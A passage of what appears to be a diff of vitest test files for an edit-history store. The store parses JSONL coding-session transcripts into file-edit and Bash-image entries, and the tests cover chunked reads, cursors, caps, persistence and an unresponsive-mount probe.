* call printed a path on a dead hard mount, whose stat() never settles. The real sync with the
|
||||
* real probe (`probeLocalPaths` → bounded `probePathKind`) must still finish, the next queued
|
||||
* sync too, and `remove()` must not wait on it. Own file: the stalled probe stays recorded
|
||||
* process-wide for the rest of the run.
|
||||
*/
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
|
||||
|
||||
const DEAD = '/mnt/dead-nas';
|
||||
|
||||
vi.hoisted(() => {
|
||||
process.env.CODEMAN_PATH_PROBE_TIMEOUT_MS = '100';
|
||||
});
|
||||
|
||||
vi.mock('node:fs/promises', async (importOriginal) => {
|
||||
const real = await importOriginal<typeof import('node:fs/promises')>();
|
||||
const hangs = (p: unknown) => String(p).startsWith('/mnt/dead-nas');
|
||||
const stat = ((p: Parameters<typeof real.stat>[0], ...rest: unknown[]) =>
|
||||
hangs(p) ? new Promise(() => {}) : (real.stat as (...a: unknown[]) => unknown)(p, ...rest)) as typeof real.stat;
|
||||
const realpath = ((p: Parameters<typeof real.realpath>[0], ...rest: unknown[]) =>
|
||||
hangs(p)
|
||||
? new Promise(() => {})
|
||||
: (real.realpath as (...a: unknown[]) => unknown)(p, ...rest)) as typeof real.realpath;
|
||||
return { ...real, stat, realpath, default: { ...real, stat, realpath } };
|
||||
});
|
||||
|
||||
import { mkdtempSync, rmSync, utimesSync, writeFileSync } from 'node:fs';
|
||||
import { tmpdir } from 'node:os';
|
||||
import { join } from 'node:path';
|
||||
import { EditHistoryStore } from '../src/edit-history-store.js';
|
||||
import { probeLocalPaths, type EditSources } from '../src/edit-history-local-source.js';
|
||||
import { EditHistorySync, type EditHistorySession } from '../src/web/edit-history-sync.js';
|
||||
|
||||
const T0 = Date.parse('2026-10-15T20:00:00.000Z');
|
||||
const session: EditHistorySession = { id: 's1', mode: 'claude', remote: undefined, claudeSessionId: 'conv1' };
|
||||
|
||||
function bashPair(id: string, start: number, end: number, stdout: string): string {
|
||||
const use = {
|
||||
type: 'assistant',
|
||||
timestamp: new Date(start).toISOString(),
|
||||
cwd: '/w',
|
||||
message: { role: 'assistant', content: [{ type: 'tool_use', id, name: 'Bash', input: { command: 'render' } }] },
|
||||
};
|
||||
const res = {
|
||||
type: 'user',
|
||||
timestamp: new Date(end).toISOString(),
|
||||
cwd: '/w',
|
||||
message: { role: 'user', content: [{ tool_use_id: id, type: 'tool_result', content: stdout }] },
|
||||
toolUseResult: { stdout, stderr: '', interrupted: false, isImage: false },
|
||||
};
|
||||
return JSON.stringify(use) + '\n' + JSON.stringify(res) + '\n';
|
||||
}
|
||||
|
||||
/** Rejects after `ms`, so a hang fails the test instead of timing it out silently. */
|
||||
function within<T>(p: Promise<T>, ms: number, what: string): Promise<T> {
|
||||
return Promise.race([
|
||||
p,
|
||||
new Promise<T>((_, reject) => setTimeout(() => reject(new Error(`${what} still pending after ${ms} ms`)), ms)),
|
||||
]);
|
||||
}
|
||||
|
||||
let dir: string;
|
||||
let stores: string;
|
||||
beforeEach(() => {
|
||||
dir = mkdtempSync(join(tmpdir(), 'edit-stall-'));
|
||||
stores = join(dir, 'stores');
|
||||
});
|
||||
afterEach(() => {
|
||||
rmSync(dir, { recursive: true, force: true });
|
||||
});
|
||||
|
||||
describe('edit history image probe on an unresponsive mount', () => {
|
||||
it('finishes sync, a queued sync and remove() while one printed path never answers', async () => {
|
||||
const ok = join(dir, 'ok.png');
|
||||
writeFileSync(ok, 'PNG!');
|
||||
utimesSync(ok, new Date(T0 + 2000), new Date(T0 + 2000));
|
||||
let main = Buffer.from(bashPair('b1', T0, T0 + 5000, `${DEAD}/plots/a.png\nsaved ${ok}\n`));
|
||||
|
||||
const sync = new EditHistorySync({
|
||||
transcriptPath: async () => '/p/conv1.jsonl',
|
||||
readSources: async (_session, _path, requests, budget): Promise<EditSources> => {
|
||||
const req = requests.find((r) => r.relPath === 'main');
|
||||
const start = Math.min(req?.offset ?? 0, main.length);
|
||||
const len = Math.min(budget, main.length - start);
|
||||
return {
|
||||
transcriptId: 'conv1',
|
||||
files: [{ relPath: 'main', size: main.length, startOffset: start, chunk: main.subarray(start, start + len) }],
|
||||
metas: {},
|
||||
};
|
||||
},
|
||||
probe: (_session, paths) => probeLocalPaths(paths),
|
||||
loadStore: (id) => EditHistoryStore.load(id, { dir: stores, debounceMs: 0 }),
|
||||
deleteStore: (id) => EditHistoryStore.delete(id, { dir: stores }),
|
||||
sweepStores: async () => 0,
|
||||
});
|
||||
|
||||
const first = sync.sync(session);
|
||||
main = Buffer.concat([main, Buffer.from(bashPair('b2', T0 + 6000, T0 + 7000, `${DEAD}/plots/b.png\n`))]);
|
||||
const second = sync.sync(session);
|
||||
expect(await within(first, 1500, 'first sync')).toEqual({ state: 'ok' });
|
||||
expect(await within(second, 1500, 'queued sync')).toEqual({ state: 'ok' });
|
||||
expect((await sync.getStore('s1')).list().map((e) => e.path)).toEqual([ok]);
|
||||
await within(sync.remove('s1'), 1500, 'remove()');
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,704 @@
|
||||
/**
|
||||
* Edit history store: byte ranges, cursors, dedupe, cap, persistence.
|
||||
* Transcript bytes are built from JSONL lines shaped like real claude records.
|
||||
*/
|
||||
import { mkdtempSync, rmSync, existsSync, readdirSync, readFileSync, statSync, writeFileSync } from 'node:fs';
|
||||
import { tmpdir } from 'node:os';
|
||||
import { join } from 'node:path';
|
||||
import { afterEach, beforeEach, describe, expect, it } from 'vitest';
|
||||
import {
|
||||
EditHistoryStore,
|
||||
entryBytes,
|
||||
MAIN_SOURCE,
|
||||
MAX_AGENT_META_CHARS,
|
||||
MAX_AGENTS,
|
||||
MAX_ENTRIES,
|
||||
MAX_FILE_BYTES,
|
||||
MAX_STORE_BYTES,
|
||||
parseAgentMeta,
|
||||
READ_BUDGET_BYTES,
|
||||
TMP_TAG,
|
||||
} from '../src/edit-history-store.js';
|
||||
import { MAX_HUNK_BYTES } from '../src/edit-history-parse.js';
|
||||
|
||||
let dir: string;
|
||||
beforeEach(() => {
|
||||
dir = mkdtempSync(join(tmpdir(), 'edit-history-store-'));
|
||||
});
|
||||
afterEach(() => {
|
||||
rmSync(dir, { recursive: true, force: true });
|
||||
});
|
||||
|
||||
const T0 = Date.parse('2026-10-15T19:00:00.000Z');
|
||||
const iso = (s: number) => new Date(T0 + s * 1000).toISOString();
|
||||
|
||||
function editLine(id: string, sec: number, path = `/work/${id}.ts`, extra: Record<string, unknown> = {}): string {
|
||||
return JSON.stringify({
|
||||
type: 'user',
|
||||
timestamp: iso(sec),
|
||||
cwd: '/work',
|
||||
message: { role: 'user', content: [{ tool_use_id: id, type: 'tool_result', content: 'ok' }] },
|
||||
toolUseResult: {
|
||||
filePath: path,
|
||||
oldString: 'a',
|
||||
newString: 'b',
|
||||
originalFile: 'a',
|
||||
structuredPatch: [{ oldStart: 1, oldLines: 1, newStart: 1, newLines: 1, lines: ['-a', '+b'] }],
|
||||
userModified: false,
|
||||
replaceAll: false,
|
||||
},
|
||||
...extra,
|
||||
});
|
||||
}
|
||||
|
||||
/** An Edit whose diff carries `size` bytes of added text. */
|
||||
function bigEditLine(id: string, sec: number, size: number): string {
|
||||
const line = JSON.parse(editLine(id, sec));
|
||||
line.toolUseResult.structuredPatch[0].lines = ['-a', '+' + 'x'.repeat(size)];
|
||||
return JSON.stringify(line);
|
||||
}
|
||||
|
||||
function bashUse(id: string, sec: number, command: string): string {
|
||||
return JSON.stringify({
|
||||
type: 'assistant',
|
||||
timestamp: iso(sec),
|
||||
cwd: '/work',
|
||||
message: { role: 'assistant', content: [{ type: 'tool_use', id, name: 'Bash', input: { command } }] },
|
||||
});
|
||||
}
|
||||
|
||||
function bashResult(id: string, sec: number): string {
|
||||
return JSON.stringify({
|
||||
type: 'user',
|
||||
timestamp: iso(sec),
|
||||
cwd: '/work',
|
||||
message: { role: 'user', content: [{ tool_use_id: id, type: 'tool_result', content: '' }] },
|
||||
toolUseResult: { stdout: '', stderr: '', interrupted: false, isImage: false },
|
||||
});
|
||||
}
|
||||
|
||||
const jsonl = (lines: string[]) => Buffer.from(lines.map((l) => l + '\n').join(''));
|
||||
|
||||
/**
|
||||
* Read like the reader (edit-history-local-source.ts): on from the cursor of the current
|
||||
* conversation (clamped to the size), else the file's last `budget` bytes; then apply.
|
||||
* Null when nothing is new.
|
||||
*/
|
||||
function syncForward(
|
||||
store: EditHistoryStore,
|
||||
file: Buffer,
|
||||
budget = READ_BUDGET_BYTES,
|
||||
source = MAIN_SOURCE,
|
||||
tid = 'conv-1'
|
||||
) {
|
||||
const cursor = tid === store.getTranscriptId() ? store.getCursor(source) : undefined;
|
||||
const offset = cursor ? Math.min(cursor.offset, file.length) : Math.max(0, file.length - budget);
|
||||
const len = Math.min(budget, file.length - offset);
|
||||
if (cursor && offset === cursor.offset && len === 0) return null;
|
||||
const chunk = file.subarray(offset, offset + len);
|
||||
return store.apply({ transcriptId: tid, source, startOffset: offset, chunk, size: file.length });
|
||||
}
|
||||
|
||||
function syncOlder(store: EditHistoryStore, file: Buffer, budget?: number, source = MAIN_SOURCE, tid = 'conv-1') {
|
||||
const range = store.olderRange(source, budget);
|
||||
if (!range) return null;
|
||||
const chunk = file.subarray(range.offset, range.offset + range.len);
|
||||
return store.applyOlder({ transcriptId: tid, source, startOffset: range.offset, chunk, size: file.length });
|
||||
}
|
||||
|
||||
const ids = (store: EditHistoryStore) => store.list().map((e) => e.id);
|
||||
|
||||
describe('EditHistoryStore: forward reads', () => {
|
||||
it('reads a small file whole, then only what was appended', () => {
|
||||
const store = new EditHistoryStore('s1', { dir });
|
||||
let file = jsonl([editLine('e1', 1), editLine('e2', 2)]);
|
||||
expect(syncForward(store, file)?.added).toBe(2);
|
||||
expect(store.getCursor(MAIN_SOURCE)).toEqual({ offset: file.length, floor: 0 });
|
||||
expect(syncForward(store, file)).toBeNull();
|
||||
file = Buffer.concat([file, jsonl([editLine('e3', 3)])]);
|
||||
expect(syncForward(store, file)?.added).toBe(1);
|
||||
expect(ids(store)).toEqual(['e3', 'e2', 'e1']);
|
||||
expect(store.backfillTruncated).toBe(false);
|
||||
});
|
||||
|
||||
it('leaves a partial last line (still being written) for the next read', () => {
|
||||
const store = new EditHistoryStore('s1', { dir });
|
||||
const full = jsonl([editLine('e1', 1), editLine('e2', 2)]);
|
||||
const firstLineEnd = full.indexOf(0x0a) + 1;
|
||||
const partial = full.subarray(0, firstLineEnd + 30);
|
||||
expect(syncForward(store, partial)?.added).toBe(1);
|
||||
expect(store.getCursor(MAIN_SOURCE)?.offset).toBe(firstLineEnd);
|
||||
expect(syncForward(store, full)?.added).toBe(1);
|
||||
expect(ids(store)).toEqual(['e2', 'e1']);
|
||||
});
|
||||
|
||||
it('deduplicates by tool_use_id', () => {
|
||||
const store = new EditHistoryStore('s1', { dir });
|
||||
const file = jsonl([editLine('e1', 1), editLine('e1', 1)]);
|
||||
expect(syncForward(store, file)?.added).toBe(1);
|
||||
expect(store.list()).toHaveLength(1);
|
||||
});
|
||||
|
||||
it('starts a large file near its end, drops the cut line and keeps the floor there', () => {
|
||||
const store = new EditHistoryStore('s1', { dir });
|
||||
const lines = Array.from({ length: 20 }, (_, i) => editLine(`e${i}`, i));
|
||||
const file = jsonl(lines);
|
||||
const budget = Math.floor(file.length / 3);
|
||||
syncForward(store, file, budget);
|
||||
const cursor = store.getCursor(MAIN_SOURCE)!;
|
||||
expect(cursor.offset).toBe(file.length);
|
||||
expect(cursor.floor).toBeGreaterThan(file.length - budget);
|
||||
expect(file[cursor.floor - 1]).toBe(0x0a);
|
||||
expect(store.backfillTruncated).toBe(true);
|
||||
expect(ids(store)[0]).toBe('e19');
|
||||
expect(ids(store)).not.toContain('e0');
|
||||
});
|
||||
|
||||
it('reads a backlog in budget-sized forward steps without losing a line', () => {
|
||||
const store = new EditHistoryStore('s1', { dir });
|
||||
const first = jsonl([editLine('e0', 0)]);
|
||||
syncForward(store, first);
|
||||
const more = Array.from({ length: 30 }, (_, i) => editLine(`e${i + 1}`, i + 1));
|
||||
const file = Buffer.concat([first, jsonl(more)]);
|
||||
const budget = 700;
|
||||
for (let i = 0; i < 100 && syncForward(store, file, budget); i++);
|
||||
expect(store.list()).toHaveLength(31);
|
||||
expect(store.getCursor(MAIN_SOURCE)?.offset).toBe(file.length);
|
||||
});
|
||||
|
||||
it('skips a line longer than the budget instead of re-reading it forever', () => {
|
||||
const store = new EditHistoryStore('s1', { dir });
|
||||
const huge = editLine('big', 1, '/work/big.ts', { pad: 'x'.repeat(5000) });
|
||||
const first = jsonl([editLine('e0', 0)]);
|
||||
syncForward(store, first);
|
||||
const file = Buffer.concat([first, jsonl([huge, editLine('e2', 2)])]);
|
||||
for (let i = 0; i < 50 && syncForward(store, file, 1000); i++);
|
||||
expect(ids(store)).toEqual(['e2', 'e0']);
|
||||
expect(store.getCursor(MAIN_SOURCE)?.offset).toBe(file.length);
|
||||
});
|
||||
|
||||
it('reads the line after a skipped one whole, wherever it falls against the chunk grid', async () => {
|
||||
const budget = 1000;
|
||||
const first = jsonl([editLine('e0', 0)]);
|
||||
const lost: number[] = [];
|
||||
for (let pad = 0; pad < budget; pad++) {
|
||||
const store = new EditHistoryStore('s1', { dir, debounceMs: 60_000 });
|
||||
syncForward(store, first);
|
||||
const huge = JSON.stringify({ type: 'user', message: { content: 'h'.repeat(2400 + pad) } });
|
||||
const next = editLine('next', 2, '/work/next.ts', { pad: 'p'.repeat(300) }); // < budget
|
||||
const file = Buffer.concat([first, jsonl([huge, next, editLine('e3', 3)])]);
|
||||
for (let i = 0; i < 50 && syncForward(store, file, budget); i++);
|
||||
if (!store.get('next') || !store.get('e3')) lost.push(pad);
|
||||
await store.remove();
|
||||
}
|
||||
expect(lost).toEqual([]);
|
||||
});
|
||||
|
||||
it('keeps a multibyte character split by the chunk boundary intact', () => {
|
||||
const store = new EditHistoryStore('s1', { dir });
|
||||
const path = '/work/Größe – Ümlaut 😀.ts';
|
||||
const file = jsonl([editLine('e1', 1), editLine('e2', 2, path)]);
|
||||
const emoji = file.indexOf(Buffer.from('😀'));
|
||||
// Cut inside the 4-byte emoji, then continue.
|
||||
const cut = file.subarray(0, emoji + 2);
|
||||
syncForward(store, cut);
|
||||
syncForward(store, file);
|
||||
expect(store.get('e2')?.path).toBe(path);
|
||||
});
|
||||
|
||||
it('restarts a file that shrank (replaced) from its end, with the next read', () => {
|
||||
const store = new EditHistoryStore('s1', { dir });
|
||||
syncForward(store, jsonl([editLine('e1', 1), editLine('e2', 2)]));
|
||||
const replaced = jsonl([editLine('n1', 3)]);
|
||||
// The reader clamps the cursor to the size: an empty chunk at the end, and the cursor goes.
|
||||
expect(syncForward(store, replaced)?.added).toBe(0);
|
||||
expect(store.getCursor(MAIN_SOURCE)).toBeUndefined();
|
||||
expect(syncForward(store, replaced)?.added).toBe(1);
|
||||
expect(store.getCursor(MAIN_SOURCE)?.offset).toBe(replaced.length);
|
||||
});
|
||||
|
||||
it('ignores a chunk that does not start at the cursor', () => {
|
||||
const store = new EditHistoryStore('s1', { dir });
|
||||
const file = jsonl([editLine('e1', 1), editLine('e2', 2)]);
|
||||
syncForward(store, file);
|
||||
const res = store.apply({ transcriptId: 'conv-1', source: MAIN_SOURCE, startOffset: 3, chunk: file, size: 999 });
|
||||
expect(res.added).toBe(0);
|
||||
});
|
||||
});
|
||||
|
||||
describe('EditHistoryStore: conversations and sources', () => {
|
||||
it('starts new cursors for a new transcriptId and keeps the old entries', () => {
|
||||
const store = new EditHistoryStore('s1', { dir });
|
||||
syncForward(store, jsonl([editLine('e1', 1)]));
|
||||
const second = jsonl([editLine('f1', 5)]);
|
||||
syncForward(store, second, undefined, MAIN_SOURCE, 'conv-2');
|
||||
expect(store.getTranscriptId()).toBe('conv-2');
|
||||
expect(ids(store)).toEqual(['f1', 'e1']);
|
||||
});
|
||||
|
||||
it('keeps one cursor per source and the subagent id on its entries', () => {
|
||||
const store = new EditHistoryStore('s1', { dir });
|
||||
const main = jsonl([editLine('m1', 1)]);
|
||||
const sub = jsonl([editLine('s1', 2, '/work/s.ts', { isSidechain: true, agentId: 'a1' })]);
|
||||
const subSource = 'subagents/agent-a1.jsonl';
|
||||
syncForward(store, main);
|
||||
syncForward(store, sub, undefined, subSource);
|
||||
expect(store.getCursor(MAIN_SOURCE)?.offset).toBe(main.length);
|
||||
expect(store.getCursor(subSource)?.offset).toBe(sub.length);
|
||||
expect(store.get('s1')?.agentId).toBe('a1');
|
||||
});
|
||||
|
||||
it('records agent meta from meta.json text', () => {
|
||||
const store = new EditHistoryStore('s1', { dir });
|
||||
store.setAgentMeta(
|
||||
'a1',
|
||||
JSON.stringify({
|
||||
agentType: 'coding',
|
||||
description: 'Impl: fix',
|
||||
worktreePath: '/w/.claude/worktrees/agent-a1',
|
||||
worktreeBranch: 'worktree-agent-a1',
|
||||
toolUseId: 'toolu_x',
|
||||
})
|
||||
);
|
||||
store.setAgentMeta('a2', 'not json');
|
||||
expect(store.getAgents()).toEqual({
|
||||
a1: {
|
||||
description: 'Impl: fix',
|
||||
agentType: 'coding',
|
||||
worktreePath: '/w/.claude/worktrees/agent-a1',
|
||||
worktreeBranch: 'worktree-agent-a1',
|
||||
},
|
||||
});
|
||||
expect(store.hasAgentMeta('a2')).toBe(false);
|
||||
expect(parseAgentMeta('{"description":"d"}')).toEqual({ description: 'd', agentType: '' });
|
||||
});
|
||||
});
|
||||
|
||||
describe('EditHistoryStore: older blocks', () => {
|
||||
it('loads older lines block by block down to the start, without duplicates at the seam', () => {
|
||||
const store = new EditHistoryStore('s1', { dir });
|
||||
const file = jsonl(Array.from({ length: 30 }, (_, i) => editLine(`e${i}`, i)));
|
||||
const budget = Math.floor(file.length / 4);
|
||||
syncForward(store, file, budget);
|
||||
const before = store.list().length;
|
||||
expect(before).toBeLessThan(30);
|
||||
let rounds = 0;
|
||||
while (syncOlder(store, file, budget) && rounds < 20) rounds++;
|
||||
expect(rounds).toBeGreaterThan(1);
|
||||
expect(store.list()).toHaveLength(30);
|
||||
expect(store.getCursor(MAIN_SOURCE)?.floor).toBe(0);
|
||||
expect(store.backfillTruncated).toBe(false);
|
||||
expect(store.olderRange(MAIN_SOURCE, budget)).toBeNull();
|
||||
});
|
||||
|
||||
it('skips a line longer than the budget going back and reaches the lines before it', () => {
|
||||
const store = new EditHistoryStore('s1', { dir });
|
||||
const huge = JSON.stringify({ type: 'user', message: { content: 'x'.repeat(6000) } });
|
||||
const older = Array.from({ length: 10 }, (_, i) => editLine(`old${i}`, i));
|
||||
const newer = Array.from({ length: 5 }, (_, i) => editLine(`new${i}`, 100 + i));
|
||||
const file = jsonl([...older, huge, ...newer]);
|
||||
const budget = 4000;
|
||||
syncForward(store, file, budget);
|
||||
expect(ids(store).sort()).toEqual(newer.map((_, i) => `new${i}`).sort());
|
||||
let rounds = 0;
|
||||
while (syncOlder(store, file, budget) && rounds < 30) rounds++;
|
||||
expect(store.list()).toHaveLength(15);
|
||||
expect(store.getCursor(MAIN_SOURCE)).toMatchObject({ floor: 0 });
|
||||
expect(store.getCursor(MAIN_SOURCE)?.floorMidLine).toBeUndefined();
|
||||
expect(store.backfillTruncated).toBe(false);
|
||||
});
|
||||
|
||||
it('going back, reads the line before a skipped one whole, wherever it falls against the block grid', async () => {
|
||||
const budget = 1000;
|
||||
const huge = JSON.stringify({ type: 'user', message: { content: 'h'.repeat(2500) } });
|
||||
const lost: number[] = [];
|
||||
for (let pad = 0; pad < budget; pad++) {
|
||||
const store = new EditHistoryStore('s1', { dir, debounceMs: 60_000 });
|
||||
const lines = [editLine('p0', 0), editLine('p1', 1), editLine('before', 2), huge];
|
||||
for (let i = 0; i < 6; i++)
|
||||
lines.push(editLine(`t${i}`, 10 + i, `/work/t${i}.ts`, i === 0 ? { pad: 'p'.repeat(pad) } : {}));
|
||||
const file = jsonl(lines);
|
||||
syncForward(store, file, budget);
|
||||
for (let i = 0; i < 50 && syncOlder(store, file, budget); i++);
|
||||
if (!store.get('before') || !store.get('p0')) lost.push(pad);
|
||||
await store.remove();
|
||||
}
|
||||
expect(lost).toEqual([]);
|
||||
});
|
||||
|
||||
it('a source whose file is gone (dropSource) offers no older lines and keeps its entries', () => {
|
||||
const store = new EditHistoryStore('s1', { dir });
|
||||
const sub = 'subagents/agent-a1.jsonl';
|
||||
const file = jsonl(Array.from({ length: 10 }, (_, i) => editLine(`s${i}`, i, `/work/s${i}.ts`, { agentId: 'a1' })));
|
||||
syncForward(store, file, 400, sub);
|
||||
expect(store.sourcesWithOlder()).toEqual([sub]);
|
||||
const kept = ids(store);
|
||||
store.dropSource(sub);
|
||||
expect(store.getCursor(sub)).toBeUndefined();
|
||||
expect(store.backfillTruncated).toBe(false);
|
||||
expect(ids(store)).toEqual(kept);
|
||||
});
|
||||
|
||||
it('refuses an older chunk that does not end at the floor', () => {
|
||||
const store = new EditHistoryStore('s1', { dir });
|
||||
const file = jsonl(Array.from({ length: 10 }, (_, i) => editLine(`e${i}`, i)));
|
||||
syncForward(store, file, 300);
|
||||
const res = store.applyOlder({
|
||||
transcriptId: 'conv-1',
|
||||
source: MAIN_SOURCE,
|
||||
startOffset: 0,
|
||||
chunk: file.subarray(0, 10),
|
||||
size: file.length,
|
||||
});
|
||||
expect(res.added).toBe(0);
|
||||
});
|
||||
});
|
||||
|
||||
describe('EditHistoryStore: Bash images', () => {
|
||||
it('pairs a Bash call and its result across a chunk boundary', () => {
|
||||
const store = new EditHistoryStore('s1', { dir });
|
||||
const part1 = jsonl([bashUse('b1', 1, 'python render.py -o out/frame.png')]);
|
||||
const file = Buffer.concat([part1, jsonl([bashResult('b1', 4)])]);
|
||||
expect(syncForward(store, part1)?.candidates).toEqual([]);
|
||||
const res = syncForward(store, file)!;
|
||||
expect(res.candidates).toEqual([
|
||||
{ toolUseId: 'b1', start: T0 + 1000, end: T0 + 4000, paths: ['/work/out/frame.png'] },
|
||||
]);
|
||||
});
|
||||
|
||||
it('adds confirmed images as entries without a diff, once', () => {
|
||||
const store = new EditHistoryStore('s1', { dir });
|
||||
const img = { toolUseId: 'b1', path: '/work/out/frame.png', ts: T0 + 4000, agentId: 'a1' };
|
||||
expect(store.addImageEntries([img, img])).toBe(1);
|
||||
expect(store.addImageEntries([img])).toBe(0);
|
||||
expect(store.list()[0]).toEqual({
|
||||
id: 'b1:/work/out/frame.png',
|
||||
ts: T0 + 4000,
|
||||
path: '/work/out/frame.png',
|
||||
kind: 'image',
|
||||
tool: 'bash',
|
||||
created: false,
|
||||
added: 0,
|
||||
removed: 0,
|
||||
hunks: [],
|
||||
truncated: false,
|
||||
agentId: 'a1',
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
describe('EditHistoryStore: cap', () => {
|
||||
it(`keeps the newest ${MAX_ENTRIES} entries`, () => {
|
||||
const store = new EditHistoryStore('s1', { dir });
|
||||
const file = jsonl(Array.from({ length: MAX_ENTRIES + 20 }, (_, i) => editLine(`e${i}`, i)));
|
||||
const res = syncForward(store, file, file.length);
|
||||
expect(res?.added).toBe(MAX_ENTRIES);
|
||||
expect(store.list()).toHaveLength(MAX_ENTRIES);
|
||||
expect(store.get('e19')).toBeUndefined();
|
||||
expect(store.get('e20')).toBeDefined();
|
||||
// Older than everything kept: counts as nothing added.
|
||||
expect(store.addImageEntries([{ toolUseId: 'old', path: '/a.png', ts: T0 - 1000 }])).toBe(0);
|
||||
});
|
||||
|
||||
it('offers no older block once the cap is full (it would be dropped on read)', () => {
|
||||
const store = new EditHistoryStore('s1', { dir });
|
||||
const lines = Array.from({ length: MAX_ENTRIES + 20 }, (_, i) => editLine(`e${i}`, i));
|
||||
const file = jsonl(lines);
|
||||
const tail = jsonl(lines.slice(-MAX_ENTRIES)).length;
|
||||
syncForward(store, file, tail + 10);
|
||||
expect(store.list()).toHaveLength(MAX_ENTRIES);
|
||||
expect(store.getCursor(MAIN_SOURCE)!.floor).toBeGreaterThan(0);
|
||||
expect(store.backfillTruncated).toBe(false);
|
||||
});
|
||||
|
||||
it(`keeps at most ${MAX_STORE_BYTES} bytes of diff text, dropping the oldest`, () => {
|
||||
const store = new EditHistoryStore('s1', { dir });
|
||||
const n = 300;
|
||||
const file = jsonl(Array.from({ length: n }, (_, i) => bigEditLine(`e${i}`, i, 20_000)));
|
||||
syncForward(store, file, file.length);
|
||||
const kept = store.list();
|
||||
expect(kept.length).toBeLessThan(n);
|
||||
expect(kept.reduce((sum, e) => sum + entryBytes(e), 0)).toBeLessThanOrEqual(MAX_STORE_BYTES);
|
||||
expect(store.get(`e${n - 1}`)).toBeDefined();
|
||||
expect(store.get('e0')).toBeUndefined();
|
||||
});
|
||||
|
||||
it('offers no older block once the byte cap is full', () => {
|
||||
const store = new EditHistoryStore('s1', { dir });
|
||||
const file = jsonl(Array.from({ length: 300 }, (_, i) => bigEditLine(`e${i}`, i, 20_000)));
|
||||
syncForward(store, file, 5_000_000);
|
||||
expect(store.list().length).toBeLessThan(MAX_ENTRIES);
|
||||
expect(store.getCursor(MAIN_SOURCE)!.floor).toBeGreaterThan(0);
|
||||
expect(store.backfillTruncated).toBe(false);
|
||||
});
|
||||
|
||||
it('caps the agent meta strings', () => {
|
||||
const meta = parseAgentMeta(JSON.stringify({ description: 'd'.repeat(5000), agentType: 'coding' }));
|
||||
expect(meta?.description).toHaveLength(MAX_AGENT_META_CHARS);
|
||||
expect(meta?.agentType).toBe('coding');
|
||||
});
|
||||
|
||||
it(`keeps at most ${MAX_AGENTS} subagent labels, dropping the oldest no entry uses`, () => {
|
||||
const store = new EditHistoryStore('s1', { dir });
|
||||
syncForward(store, jsonl([editLine('e1', 1, '/work/a.ts', { agentId: 'a0' })]));
|
||||
for (let i = 0; i <= MAX_AGENTS + 4; i++) store.setAgentMeta(`a${i}`, `{"description":"d${i}"}`);
|
||||
const agents = store.getAgents();
|
||||
expect(Object.keys(agents)).toHaveLength(MAX_AGENTS);
|
||||
expect(agents.a0).toBeDefined(); // used by an entry
|
||||
expect(agents[`a${MAX_AGENTS + 4}`]).toBeDefined(); // the newest
|
||||
expect(agents.a1).toBeUndefined();
|
||||
});
|
||||
});
|
||||
|
||||
describe('EditHistoryStore: persistence', () => {
|
||||
it('reloads entries, cursors, pending Bash calls and agents from disk', async () => {
|
||||
const store = new EditHistoryStore('s1', { dir, debounceMs: 60_000 });
|
||||
const file = jsonl([editLine('e1', 1), bashUse('b1', 2, 'render > a.png')]);
|
||||
syncForward(store, file);
|
||||
store.setAgentMeta('a1', '{"description":"d","agentType":"coding"}');
|
||||
await store.flush();
|
||||
const loaded = await EditHistoryStore.load('s1', { dir });
|
||||
expect(ids(loaded)).toEqual(['e1']);
|
||||
expect(loaded.getCursor(MAIN_SOURCE)).toEqual(store.getCursor(MAIN_SOURCE));
|
||||
expect(loaded.getTranscriptId()).toBe('conv-1');
|
||||
expect(loaded.getAgents()).toEqual({ a1: { description: 'd', agentType: 'coding' } });
|
||||
const done = Buffer.concat([file, jsonl([bashResult('b1', 3)])]);
|
||||
expect(syncForward(loaded, done)?.candidates[0]?.paths).toEqual(['/work/a.png']);
|
||||
});
|
||||
|
||||
it('writes the file 0600 in a 0700 directory, also over a wider existing file', async () => {
|
||||
const sub = join(dir, 'edit-history');
|
||||
const store = new EditHistoryStore('s1', { dir: sub, debounceMs: 60_000 });
|
||||
syncForward(store, jsonl([editLine('e1', 1)]));
|
||||
await store.flush();
|
||||
expect(statSync(sub).mode & 0o777).toBe(0o700);
|
||||
expect(statSync(join(sub, 's1.json')).mode & 0o777).toBe(0o600);
|
||||
writeFileSync(join(sub, 's1.json'), '{}', { mode: 0o644 });
|
||||
await store.flush();
|
||||
expect(statSync(join(sub, 's1.json')).mode & 0o777).toBe(0o600);
|
||||
});
|
||||
|
||||
it('applies the caps and drops malformed entries when loading', async () => {
|
||||
const store = new EditHistoryStore('s1', { dir, debounceMs: 60_000 });
|
||||
syncForward(store, jsonl(Array.from({ length: MAX_ENTRIES }, (_, i) => editLine(`e${i}`, i))));
|
||||
await store.flush();
|
||||
const data = JSON.parse(readFileSync(join(dir, 's1.json'), 'utf-8'));
|
||||
const extra = JSON.parse(editLine('late', MAX_ENTRIES + 1));
|
||||
data.entries.push(
|
||||
{ ...store.get('e0')!, id: 'newest', ts: T0 + 10_000_000 },
|
||||
{ id: 'broken', path: 7, hunks: [] },
|
||||
{ id: 'nohunks', path: '/a.ts' },
|
||||
extra
|
||||
);
|
||||
writeFileSync(join(dir, 's1.json'), JSON.stringify(data));
|
||||
const loaded = await EditHistoryStore.load('s1', { dir });
|
||||
expect(loaded.list()).toHaveLength(MAX_ENTRIES);
|
||||
expect(loaded.get('newest')).toBeDefined();
|
||||
expect(loaded.get('e0')).toBeUndefined();
|
||||
expect(loaded.get('broken')).toBeUndefined();
|
||||
expect(loaded.get('nohunks')).toBeUndefined();
|
||||
});
|
||||
|
||||
it('drops broken cursors, pending Bash calls and agent labels when loading (a damaged file)', async () => {
|
||||
writeFileSync(
|
||||
join(dir, 's1.json'),
|
||||
JSON.stringify({
|
||||
version: 1,
|
||||
sessionId: 's1',
|
||||
transcriptId: 'conv-1',
|
||||
cursors: {
|
||||
main: { offset: 1.5, floor: 0 },
|
||||
'subagents/agent-x.jsonl': { offset: -5, floor: 0 },
|
||||
'subagents/agent-y.jsonl': { offset: 10, floor: 20 },
|
||||
'subagents/agent-z.jsonl': { offset: 10, floor: 5, floorMidLine: true },
|
||||
},
|
||||
pendingBash: [null, 7, { id: 'b1', ts: 1, command: 'render > a.png', cwd: '/work' }],
|
||||
agents: { x: null, y: 'text', z: { description: 'd', agentType: 'coding' } },
|
||||
entries: [{ id: 'e1', ts: 1, path: '/a.ts', hunks: [null] }],
|
||||
})
|
||||
);
|
||||
